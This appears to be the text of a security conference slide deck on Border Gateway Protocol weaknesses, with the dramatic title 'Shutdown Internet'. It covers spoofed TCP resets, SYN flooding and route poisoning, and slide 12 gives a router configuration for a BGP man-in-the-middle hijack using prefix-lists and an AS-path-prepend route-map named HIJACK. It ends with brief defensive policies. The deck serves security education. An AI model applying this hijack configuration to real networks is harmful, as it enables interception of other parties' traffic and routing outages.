BGP Vulnerability - Shutdown Internet

1. HTTP://IPSECS.COM
TIME TO SHUTDOWN
INTERNET CORE ROUTER

2. COMMUNICATION
 Analog communication
 Digital communication
 Analog communication to
digital communication
convergence
 Internet Protocol

3. FUTURE
COMMUNICATION
 IP based communication will become
the core communication?
 Scalability and reliability
communication infrastructure?
 Vulnerability and security threat?

4. CORE COMMUNICATION
 Access Control List?
 Default password issue?
 Weak password?
 Unencrypted remote login?
 Routing protocol vulnerability?
 We will focus on Border Gateway
Protocol (BGP) now

5. BGP VULNERABILITY
 BGP messages
 TCP vulnerability
 BGP internet man in the
middle
 Documented on RFC 4272

6. BGP MESSAGES
 BGP states? idle, connect, active,
opensent, openconfirm, established
 BGP message? open, update, notification,
keep alive
 BGP message modification to poison
routing table and Denial of Service
 Complex and nearly impractical

8. TCP VULNERABILITY
 BGP and TCP port 179
 SPOOFED TCP RST/FIN?
 TCP port flooding (SYN)
 TCP session ends = BGP idle

10. BGP MAN IN THE
MIDDLE
 More specific network prefix wins
 Use tracroute to identify routing
from source to destination
 Use route-map and AS-PATH
prepending
 Static routing to give information
about next-hop-router

12. router bgp 100
network 10.10.220.0 mask 255.255.255.0
neighbor 2.2.4.2 remote­as 40
neighbor 2.2.4.2 prefix­list JACKED out
neighbor 2.2.4.2 route­map HIJACK out
neighbor 4.3.2.1 remote­as 10
neighbor 4.3.2.1 prefix­list ANN out
neighbor 5.4.3.1 remote­as 60
neighbor 5.4.3.1 prefix­list JACKED out
neighbor 5.4.3.1 route­map HIJACK out
!
ip route 10.10.220.0 255.255.255.0 4.3.2.1
!
ip prefix­list ANN seq 10 permit 2.2.4.0/24
ip prefix­list ANN seq 15 permit 4.3.2.0/24
ip prefix­list ANN seq 20 permit 5.4.3.0/24
!
ip prefix­list JACKED seq 10 permit 2.2.4.0/24
ip prefix­list JACKED seq 15 permit 4.3.2.0/24
ip prefix­list JACKED seq 20 permit 5.4.3.0/24
ip prefix­list JACKED seq 25 permit 10.10.220.0/24
route­map HIJACK permit 10
set as­path prepend 10 20 200

14. SOME POLICIES
 Design and topology?
 Access Control List implementation?
 Complex password
 Encrypted connection (SSH & HTTPS)

15. DEMO BGP ATTACK

16. QUESTION? ANSWER

17. THANK YOU 